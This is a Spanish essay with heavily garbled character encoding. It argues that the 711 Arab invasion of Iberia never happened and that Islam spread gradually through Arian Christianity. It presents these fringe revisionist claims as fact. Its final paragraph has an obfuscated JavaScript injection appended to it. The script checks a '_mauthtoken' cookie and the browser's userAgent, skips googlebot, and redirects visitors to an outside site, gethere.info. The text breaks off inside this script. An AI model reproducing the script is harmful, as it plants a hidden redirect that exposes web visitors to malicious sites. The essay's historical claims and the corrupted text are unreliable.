Ovetense: Illius namque tempore ducentae septuaginta naves Sarracenorum Yspaniae littus sunt adgressage; ibique omnia eorum agmina ferro sunt deleta, et classer eorum ignibus concrematae. Et ut tibi causam introitus Sarracenorum in Yspaniam plene noteceremus, originem Eruigii regis exponimus.

Las CrA?nicas Najerense, sin duda tomA?ndolo de la CrA?nica de Alfonso III, tambiA�n recoge la noticia.
In illius namque tempore ducente LXX naues sarracenorum Yspanie litus sunt adgrensse; ibique omnes pariter sunt delete et ignibus concremate.

Caetani, siguiendo los Anales de Baronius, Muratori y Rampoldi, fija la fecha de esa hipotA�tica incursiA?n en el aA�o 55/675. Ese mismo aA�o o uno posterior es el que da como probable M. BarcelA?.
Hay un proverbio de Muhammad en el que dice: “LlegarA? un dA�a en el que la luz del mundo salga del Occidentea��”. A?Y quA� Occidente culto y reconocido era ese, sino nuestra PenA�nsula IbA�rica?
QuizA?s por esta causa Blas Infante escribiA? en una ocasiA?n: “Los andaluces (andalusA�es) queremos volver a ser lo que fuimos, hombres y mujeres de luz, que a los hombres, alma de hombres les dimos”.
Si el Occidente mA?s extremo era el Finis TA�rrae, y en el 648 ya habA�a comerciantes o mensajeros en nuestras tierras, es muy probable de que fueran enviados por el propio Profeta a enseA�ar el islam. Que al inicio, y por su evidente similitud con el judeo-cristianismo unitarista, se introdujo sin fricciones a travA�s del arrianismo y modificando a este. Y no en el 711 con el fuego, la espada y 25.000 beduinos analfabetos.

LOS ANALES DE UNA PROBABLE VERDAD HISTA�RICA.

SegA?n la documentaciA?n, razonablemente creA�ble, existente en archivos y bibliotecas nacionales.
Antes de su muerte el rey de la BA�tica, Vitiza, nombra gobernador de Tingis (TA?nger) capital de la provincia tingitana, a TA?ric. En materia de religiA?n esta ciudad pertenecA�a al obispado de la BA�tica, A?no a los A?rabes!.
Tras la muerte de Vitiza su adolescente hijo Archila, cristiano del arrianismo unitarista, reclama en el 711, por pacto de fidelidad, ayuda a su correligionario y sA?bdito, el gobernador visigodo TA?ric. Esto lo hace con el fin de preservar sus derechos al trono en contra de las pretensiones de usurpaciA?n por parte de Roderic, rey de Toledo de confesiA?n trinitaria-romana.
Sabemos que el nombre TA?ric no es A?rabe, ya que la partA�cula (ic) del sufijo, es de origen germA?nico, y significa hijo dea�� Por lo que TA?r-ic serA�a hijo de Tar. AsA� como Roder-ic serA�a hijo de RA?der, Alar-ic serA�a hijo de Alar, Eur-ic serA�a hijo de Eur, Amalar-ic serA�a hijo de Amalar, Ilder-ic serA�a hijo de Ilder, etc. No podemos buscar aquA� a un A?rabe invasor, sino a gentes germanas.
Por lo tanto, los llegados de la Tingitana eran germanos visigodos, y quizA?s algunos rifeA�os de antiguo origen Amasir. Los bereberes, o bA?rbaros, son lo que queda del pueblo Amasir, del CA?ucaso, que unos 10.000 aA�os antes habA�an sido empujados hacia el sur por los Dorios, asentA?ndose en el sur de la PenA�nsula IbA�rica y en el norte de A?frica. En esta A�poca eran, en su mayorA�a, pertenecientes a otras religiones o al cristianismo arriano-unitarista. Al igual que el conde D. JuliA?n de Ceuta, y sus correligionarios de la BA�tica.
Sabemos que la Tingitana pertenecA�a al obispado de la bA�tica porque S. Isidoro Obispo de Sevilla, 75 aA�os antes de la supuesta invasiA?n, escribe en sus EtimologA�as, libro 14; IV-29, diciendo que la Provincia Tingitana, cuya capital era Tingis, o TA?nger, pertenece al Imperio Visigodo.
Esto seguA�a siendo vigente mA?s de un siglo despuA�s, y estA? confirmado por un manuscrito de origen asturiano con fecha del aA�o 780 (69 aA�os despuA�s de la pretendida invasiA?n), que se conserva en la biblioteca del Escorial. En dicho documento se describe una relaciA?n de los obispados de la PenA�nsula IbA�rica, dividida en seis regiones. La sexta regiA?n, la Tingitana, estA? incluida como parte del obispado de la BA�tica.
Por lo tanto en estas fechas, 69 aA�os despuA�s de la supuesta invasiA?n, no estaban los A?rabes en TA?nger, ni el Magreb era musulmA?n todavA�a. De lo que deduciremos que en el 711 no entraron ni los A?rabes ni los bereberes musulmanes por Tarifa, sino los sA?bditos de Archila, que eran visigodos arrianos. Repetimos que, aun cuando pudieran acompaA�arle grupos de rifeA�os bereberes estos no eran A?rabes, ni musulmanes todavA�a, sino gente de una etnia descendiente del pueblo Amasir, como la de aquA�.

MA?s datos al respecto. Al entrar los visigodo arrianos por Tarifa, A?con quiA�n comparten el mando de la tropa para conducirla por aquellas tierras? Con Don Opas, obispo arriano de Sevilla. A?No es extraA�o que D. JuliA?n, un conde visigodo arriano, preste las naves a unos A?rabes invasores y un obispo cristiano arriano les dirija?
Si continuamos estudiando la lA�nea de la contradicciA?n nos enteramos de que en el aA�o 784 Elipando es obispo de Toledo, y a sus 82 aA�os escribe cartas a los obispos de las Galias, con el fin de condenar toda otra corriente cristiana que no fuera trinitaria-romana. Recordemos que, no obstante, aunque con dificultades, habA�an aprendido desde antiguo a convivir cristianismo arriano visigodo y cristianismo trinitario romano optando, alternativamente, por el poder.
Pero curiosamente Elipando no sabe nada del islam, ni se siente amenazado por una nueva religiA?n y sA�, en cambio, por lo que pasaba en las Galias. Se supone que en esta A�poca, y conviviendo con Elipando, Abderrahman I gobernaba Toledo. Luego el islam no era todavA�a una cuestiA?n pA?blica o generalizada. Aunque la lengua A?rabe se fuera introduciendo progresivamente en los nombres y las modas, tal como nos sucede hoy dA�a con el inglA�s y lo americano, el islam en cambio no se habA�a definido todavA�a en su singularidad. TodavA�a se mantenA�a en un A?mbito de discreciA?n como una variante del culto arriano.
Esta alusiA?n la encontraremos en la obra de MenA�ndez Pelayo HeterodA?xos, de la editorial Bonilla y San MartA�n, pA?gs. 143-144.
En el catA?logo de monedas del museo arqueolA?gico de Madrid, comentado por Codera en el 1879, por Lavoix en el 1.888, y por Rada en el 1.892, encontramos una moneda acuA�ada en la PenA�nsula IbA�rica en el siglo VIII. En una de sus caras dice en latA�n: “In nA?mine DA?mini non Deus nisi, Deus solus sapiens, non Deus similes alius” (En el nombre del SeA�or, de Dios, solo hay un Dios Sabio, no hay otro parecido a Dios). Y una estrella de ocho puntas, como en el islam. Esta era la fA?rmula en latA�n de la profesiA?n de fe arriana y la mitad de la profesiA?n de fe musulmana posterior, faltaba todavA�a aA�adir la presencia y reconocimiento de la dimensiA?n profA�tica de Muhammad, que se aA�adiA? muy posteriormente.
En los textos de los autores cristianos de la escuela de CA?rdoba, en el siglo IX, no existe alusiA?n alguna al islam. Tanto en la obra del abate Esperaindeo, como en la del abate Sanson, se arremete contra las doctrinas del arrianismo predicadas por el obispo Hostogesis de MA?laga, parecidas al islam. Pero de las enseA�anzas de Muhammad, como doctrina diferenciada, no sabA�an nada todavA�a.
Nos hacemos otra pregunta: A?se conserva documentaciA?n fiable de la entrada del cristianismo en PenA�nsula IbA�rica?. La respuesta es clara y contundente: NO. Pero sabemos que se introdujo, progresivamente, por una labor de evangelizaciA?n que durA? siglos.
Entonces A?no pudo entrar el islam de manera semejante a como lo hizo el cristianismo, mA?xime cuando sabemos que existA�an las condiciones adecuadas? A?QuA� razA?n hubo para montar la leyenda de una invasiA?n para la entrada del islam? La respuesta probable serA�a esta: para justificar una mala chapuza, A?la masacre y expulsiA?n de nuestros antepasados, musulmanes y sefardA�es!, entre ochocientos y mil aA�os despuA�s. Se montA? el fraude de la conquista para justificar la invasiA?n como una “reconquista”. Esto es algo que hoy estA? asumido, prA?cticamente, en todos los medios acadA�micos.
Luego seguimos en el mismo planteamiento, cuanto mA?s avanzamos en la arqueologA�a y la documentaciA?n racional existente, mA?s entendemos que el islam entrA? por la vA�a del unitarismo arriano, progresivamente, y no por efecto de invasiA?n imposible alguna.
En la actual Bosnia el islam entrA? a partir del momento en que comenzA? a ser erradicado violentamente de nuestra patria. Y tampoco sucediA? por el uso de la fuerza, sino que fue, como aquA�, a travA�s de los antiguos bosnios cristianos unitaristas, los bogomilos.
Pero aA?n hay mucho mA?s.

S. EULOGIO OBISPO DE CA�RDOBA viaja a Pamplona el aA�o 850, para lo que tiene que atravesar, en carruaje, toda la PenA�nsula IbA�rica de sur a norte. Y residiendo en el Monasterio de Leyre, en Navarra, encuentra en la biblioteca, por vez primera en su vida, una vaga alusiA?n a un nuevo profeta Maocim. AsA� le llamaba, para referirse a Muhammad, sin saber muy bien cA?mo. En su travesA�a de toda la PenA�nsula IbA�rica no se encuentra con un solo musulmA?n ni conoce nada al respecto del islam.
Esto sucede en una A�poca en la que, segA?n la historiografA�a oficial, EspaA�a estaba colonizada y convertida al islam desde hacA�a dA�cadas, y las tropas A?rabes en sus incursiones hacia Poitiers, Francia, debA�an de andar en torno a Pamplona. Faltaban dos aA�os para la muerte de Abderrahman II.
Al escribir Eulogio en el aA�o 857 su ApologA�ticum Martirium, que tambiA�n se conserva en la biblioteca de la Catedral de Oviedo, reconoce su ignorancia sobre la doctrina del islam. A?No habA�a tenido la oportunidad de diferenciarlo del arrianismo!
Se habA�a empezado a adoptar la moda de los nombres A?rabes, asA� como algunas costumbres de la nueva cultura, pero “la religiA?n” como algo diferenciado no era, hasta el momento, de dominio pA?blico. De lo contrario lo habrA�a sabido S. Eulogio.
Sumamente asombrado, describe asA� su primer encuentro con la noticia: “SA?bito in quadam parte cuyusdam opusculi hanc de nefando vate historiolam absque auctoris nA?mine reperia��“. “De pronto descubrA� en una parte cualquiera de un opA?sculo anA?nimo la historia de un profeta nefando,a��etc.”.
En esta obra describe el asombro que esta noticia le produjo y se lo comenta a su amigo y escritor Juan Hispalense, quien envA�a una copia de los mismos a A?lvaro de CA?rdoba. Tanto los textos de Eulogio, como los comentarios de Juan Hispalense, los de A?lvaro de CA?rdoba y los textos del autor anA?nimo, todos coetA?neos, coinciden en su ignorancia sobre el islam. Esta es una evidencia histA?rica indiscutible a la que hoy tenemos acceso a travA�s de la fidedigna documentaciA?n existente.
Son estos los textos mA?s antiguos y creA�bles que se conservan haciendo referencia del islam y, A?curiosamente!, cuanto mA?s se acercan al 711, aA�o de la supuesta invasiA?n, menos conocen del tema. A?CA?mo es esto posible ante un evento de tamaA�a envergadura, que cambiA? la historia de Occidente?
El historiador JosA� Madoz hizo un estudio al respecto de estos hechos digno de menciA?n, en su ediciA?n crA�tica del Epistolario.

ABDERRAHMAN II, de la dinastA�a omeya, muere el aA�o 852, habiendo puesto en prA?ctica en los A?ltimos aA�os una polA�tica que habA�a consistido en diferenciar definitivamente, y acelerar, el proceso de islamizaciA?n de la PenA�nsula IbA�rica trayendo eruditos islamA?logos orientales.
Sabemos por uno de los historiadores de la A�poca, Ibn Hazm, cordobA�s del siglo XI, que los omeyas eran rubios, de tez clara y ojos azules, y tenA�an por costumbre el casarse con doncellas de sus mismas caracterA�sticas, por lo que se desposaban con mujeres navarras.
No conocemos a muchos semitas con estas caracterA�sticas A�tnicas, pero sA� en cambio sabemos que los visigodos concordaban con ellas. Luego a juzgar por sus caracterA�sticas raciales es mA?s probable que los omeyas fueran visigodos islamizados y no A?rabes venidos del desierto.
A partir de la muerte de Abderrahman II, y debido a su polA�tica, el islam se extiende por la PenA�nsula gracias a la atracciA?n existente por lo oriental y como una nueva moda, tal como sucede en nuestros dA�as con otras tendencias. Recordemos que este Abderrahman habA�a fundado Murcia el aA�o 825, y que el pacto de Teodomiro, por el que Murcia pasa a dominio A?musulmA?n o unitario?, se celebra hacia la mitad del siglo VIII.
El aA�o 853 muere el cronista estudiante Ibn Habib, el que habA�a traA�do su historia de la invasiA?n desde Egipto. Y el aA�o 856, tanto S. Eulogio como A?lvaro escriben sus comentarios sobre las primeras manifestaciones pA?blicas del islam en CA?rdoba, la capital del Califato A?.?
Esto lo relata en su obra IndA�culus Luminosus, en la que dice conocer por vez primera la segunda frase de la profesiA?n de fe islA?mica. Pero no conociendo la lengua A?rabe, en la que se promulgaba, la transmite en latA�n: “Psallat Deus super Prophetam et salvet eum“. “Dios bendiga al Profeta y le salude”.
Cuenta tambiA�n que ha empezado a oA�r cA?mo desde altas torres los nuevos creyentes gritan cosas de Dios y de un tal Maocim. Se referA�a a los minaretes de la nuevas mezquitas ya que, hasta esas fechas y a causa del sincretismo religioso, probablemente la oraciA?n islA?mica se practicaba en los templos arrianos que se fueron transformando. Es decir, que hasta ese momento el islam se propagaba discretamente. Pero su presencia como idea diferente no se habA�a hecho pA?blica todavA�a. Por lo tanto, los personajes de los que comentamos no conocieron hasta ese momento el islam ni el nombre de Muhammad como religiA?n de conocimiento generalizado. Continuaban sin comprender exactamente quA� es lo que habA�a sucedido.
Todos estos datos son conocidos, se conservan y ya fueron publicados en el siglo XVIII por el Jesuita padre Florez en el tomo VIII de la EspaA�a Sagrada, pA?gs., 145-146.
LOS NOMBRES A?RABES entre los personajes de la A�poca. Abderrahman, Ibn Habib, etc., es una cuestiA?n simple de responder. Un nombre propio no siempre indica, necesariamente, una confesiA?n religiosa, ni mucho menos la pertenencia a una etnia. En la PenA�nsula IbA�rica de entonces habA�a clA�rigos, incluso obispos, nobles y reyes que utilizaban nombres A?rabes, era la moda, como dijimos antes. Por lo tanto los primeros Abderrahmanes bien podrA�an ser reyes visigodos de nombre A?rabe, pero todavA�a en proceso de transiciA?n religiosa desde el arrianismo unitarista al islam.
Algunos ejemplos sobre lo dicho nos los ofrecen los nombres de estos obispos arrianos. Rabi ibn Sahib, fue propuesto para la dignidad episcopal por Abderrahman II, en cuya corte desempeA�A? las funciones de diplomA?tico. Este obispo fue maestro de otro obispo, llamado AbA? l-Harit. Y lA?gicamente, al ser obispos no eran musulmanes, sino cristianos arrianos. Ya�� segA?n parece, tampoco sabA�an nada del islam, A?hasta el momento! Por lo que bien pudiera haber sucedido que Abderrahman adoptara el nombre antes que la religiA?n. Pero esto ya sucediA? con el emperador Constantino, que se hizo defensor del cristianismo antes de haberse decidido a adoptarlo como forma de fe.
Muhammad, (s.a.s) en su A�poca, dio permiso al obispo AbA? Harita para que celebrara la misa en la mezquita de Medina, pues habA�a llegado como embajador. Luego el nombre del obispo era A?rabe, pero A�l no era musulmA?n. Es de todo punto obvio que A?rabe y musulmA?n no son sinA?nimos, como no lo son cristiano y palestino.
En la actual Palestina he sido testigo de cA?mo en las iglesias catA?licas entran los cristianos palestinos a la misa del domingo vestidos con indumentaria A?rabe, pero la mayorA�a de los palestinos son musulmanes o judA�os. Y he visto cA?mo en Egipto los cristianos coptos se saludan en la calle con fA?rmulas musulmanas. No es, por lo tanto, de extraA�ar. Cuando las culturas conviven acaban sincretizA?ndose, y generalmente la mA?s fuerte influye sobre la mA?s dA�bil, y esta acaba por adoptar algunas de las formas externas de aquella.
Una visita al Monasterio de las Huelgas, en Burgos, nos enseA�arA? que los mantos y cofias de los reyes y de los infantes de Castilla estaban bordados en oro con frases del CorA?n en A?rabe. Otra visita a la cA?mara santa de la Catedral de Oviedo tambiA�n nos enseA�arA? un altar de plata, gravado en A?rabe para la misa, regalo de CA?rdoba a los reyes astures.
En la actualidad, A?no llevamos pantalones vaqueros, bebemos Coca-Cola, comemos hamburguesas, vemos cine americano, escuchamos mA?sica yanki, y ponemos a nuestros hijos nombres anglo-sajones? Y, en cambio, los ejA�rcitos americanos no nos han invadido, pero sA� determinados aspectos de su cultura.
Pues es perfectamente lA?gico entender que algo semejante sucediA? entonces y que la transiciA?n del cristianismo arriano al sincretismo musulmA?n fue un proceso marcado por una idea fuerza y no por una invasiA?n imposible.

EN CUANTO A LA ARQUITECTURA, tenemos algunos ejemplos, pocos pero claros, de la transformaciA?n progresiva del culto arriano en culto musulmA?n. El mA?s notorio es el de la recurrente mezquita de CA?rdoba, iglesia arriana edificada sobre otro templo mA?s antiguo. Sus arcos de herradura no son A?rabes, como se dice normalmente, sino de origen visigodo.
Muestra de ello es que se conserva un templo arriano, con los mismos arcos de herradura, en Venta de BaA�os, en la iglesia de S. Juan Bautista, edificada el aA�o 661 por Recesvinto, segA?n consta en la inscripciA?n del transepto.
Al igual que en Braga, en la iglesia de San Fructuoso de Montelios, y en la cripta de la Catedral de Palencia, y en Toledo en San Pedro de la Mata, tambiA�n de antiguo culto arriano. Y en Francia, a orillas del Loira, donde se supone que no alcanzA? la cultura hispano-musulmana, se conserva una construcciA?n arriana semejante.
De los A?rabes recibimos una lengua que hoy dA�a forma parte de nuestro idioma, y una religiA?n que en su momento gestA? entre nosotros una manera de ser y de pensar que nos alzA? a la cA?spide del mundo. Pero no recibimos una etnia de forma masiva y los que pudiA�ramos recibir fueron, en realidad, muy pocos. La cultura fue contrastada, y en parte recibida, de otros paA�ses y civilizaciones, Grecia, Persia, etc., pero se desarrollA? en nuestra tierra y por nuestros antepasados murciano-andalusA�es.
SegA?n las enseA�anzas de Muhammad que decA�a: “No seA?is mA?rtires, sed sabios, pues mA?s sagrada es la tinta del estudiante que la sangre del mA?rtir”. Y tambiA�n decA�a: “Buscad la sabidurA�a, aunque para ello tengA?is que viajar hasta los confines de la tierra”. Y: “Busca la ciencia, desde la cuna hasta la sepultura”.
El mA�rito de la cultura aquA� gestada es, por lo tanto, autA?ctona, pero A?no de los A?rabes!
A?Y COVADONGA? A?QuA� sucediA? en Covadonga? En la actualidad, los movimientos nacionalistas asturianos dicen: “Asturias es EspaA�a y todo lo demA?s es tierra conquistada”.
Aunque, segA?n parece, en democracia cada cual puede decir el disparate que le place. Pero no ha de extraA�arnos, pues incluso el disparate histA?rico continA?a sustentA?ndose sin apenas sentido crA�tico, tambiA�n segA?n parece.
Nos dice la historia-leyenda que Pelayo, quien prestaba sus servicios al emir de CA?rdoba, fue llamado por su familia para que interviniera ante Munuza, gobernador musulmA?n de Asturias, ya que este querA�a desposar a una hermana de Pelayo en contra de su voluntad.
En aquella situaciA?n, Pelayo reA?ne a un grupo disidente de la nobleza visigoda y con unas decenas de astures descontentos rinde batalla contra los “A?rabes” en una zona selvA?tica, al pie de una gruta y, A?naturalmente!, con ayuda de la virgen. Esta batalla no podA�a quedar sin su milagro correspondiente.
De manera que unas decenas de astures masacran a 184.000 “A?rabes”, con ayuda de una montaA�a que sepulta, por intervenciA?n de la virgen, a 124.000, poniendo en fuga a los otros 60.000. Como somos personas inteligentes, no serA? necesario el comentario.
Como supongo que ustedes conocen Covadonga, habrA?n comprendido que algo asA� no pudo ser sobre el terreno. No me refiero a este presente con aquellas nuevas explanadas y aparcamientos, sino a aquel entonces en plena selva impracticable y habitada por animales salvajes. AsA�, nos dicen, comienza la reconquista que dura nada menos que 800 aA�os, con otro fraude como el de la conquista.
Aunque no es esta la A?nica leyenda A�pica contra otras confesiones. Cuando Recaredo abjura del arrianismo, vence a 60.000 arrianos espaA�oles, con tan solo trescientos hombres catA?licos. Sigue sin ser una mera cuestiA?n de polA�tica territorial, sino de religiones.

DE HABER SIDO CIERTA la invasiA?n A?rabe, habrA�a creado otro problema de A�ndole moral y de derecho por arraigo. A?Puede llamarse reconquista a una acciA?n de goteo bA�lico que, entre pactos de amistad y agresiones, dura ochocientos aA�os o mA?s? Muchos de nuestros mA?s grandes historiadores, entre ellos Ortega y Gasset, han dicho que no, y el sentido comA?n lo confirma.
A?Se imaginan ustedes que ahora viniera la Guardia Civil a expulsarles de su casa porque un antepasado suyo llegA? a EspaA�a de no se sabe dA?nde hace mil aA�os? A?A?SerA�a absurdo!! Pues asA� de absurdo y cruel fue para nuestros abuelos.
Aun en el caso de que la invasiA?n de los A?rabes hubiera sido cierta, A?quiA�nes tendrA�amos que irnos y a dA?nde? Probablemente todos, pues A?no somos todos descendientes de A�beros, celtas, bereberes, tartesios, cartagineses, romanos, griegos, germanos, etc.? A?Por quA� razA?n, entonces, se expulsA? o masacrA? a tantos de nuestros antepasados con el pretexto de ser invasores A?rabes?
La cultura, tan nuestra, que llegA? a ocupar los primeros puestos en la historia de la evoluciA?n de las sociedades, A?por quA� se nos arrebatA? hundiA�ndonos en el oscurantismo y la pobreza de los A?ltimos siglos hasta bien entrada la reciente democracia? A?A quiA�n interesA? que tan alta cultura nos fuera arrebatada? A?A quiA�n interesA? el silencio?

FUE POR LA CULTURA UNITARIA MUHAMMADA?, y no por la invasiA?n que no se dio, por lo que se expulsA?, se masacrA? o se oprimiA? a nuestros abuelos musulmanes-andalusA�es, y con ellos a los sefardA�es-andalusA�es.
Pensar que lo poco o mucho que quedase de la cultura y prosperidad del imperio grecolatino, mA?s la cultura visigoda, cambian de la noche a la maA�ana por la influencia de unos cuantos nA?madas incultos salidos del desierto peca en exceso de ingenuidad.
La civilizaciA?n imperante en la A�poca es la bizantina y la civilizaciA?n muhammadA� no alcanza su apogeo hasta el siglo IX en Oriente y el siglo XI en Occidente. El historiador norteafricano el-Idrisi nos informa de que en el sur de TA?nez, tierra de S. AgustA�n, en el siglo XII todavA�a se hablaba latA�n. Luego el islam no se habA�a asentado de manera estable por estas fechas.
El erudito arabista contemporA?neo Xavier de Planhol opina que: “La expansiA?n del islam se produjo, como expansiA?n cultural, por la intervenciA?n de las clases urbanas y mercantiles, no por la acciA?n guerrera”.
Y el historiador Goitien, en la pA?g. 88 de su obra comenta: “En los primeros tiempos eran sobre todo los mercaderes los que se ocupaban del desarrollo y de la expansiA?n del islam”.

LOS ALMORA?VIDES Y LOS ALMOHADES sA� que supusieron un conato de invasiA?n consentida desde A?frica, aunque tambiA�n supimos echarles de nuestras tierras. Los andalusA�es habA�an adoptado una forma de islam culto y tolerante, sin abstrusos fanatismos, por esta causa nunca aceptaron gustosos la contrarreforma del islam almorA?vide o almohade.
En el aA�o 1035 se inicia en nuestra tierra la reforma impuesta por la invasiA?n almorA?vide que, al final, fueron expulsados por los andalusA�es. Y en el 1145 tambiA�n comienzan las revueltas en contra de los almohades, que habA�an sido llamados el aA�o 1.080 por Yusuf ibn Tasufin en defensa de las Taifas. Nuestras gentes siempre hospitalarias, pero amantes de cuanto nos hizo un pueblo tan singular, no podA�an aceptar que los invitados se quedaran para imponernos un islam fanA?tico.
Esta liberalidad de nuestro pensamiento provocA? que en el aA�o 1228 Ben Hud, noble nacido en este pueblo de AbarA?n, acaudillara la revoluciA?n en su contra hasta sacarlos de nuestra tierra, haciendo de Murcia, por este hecho, el centro de la axarquA�a y un imperio.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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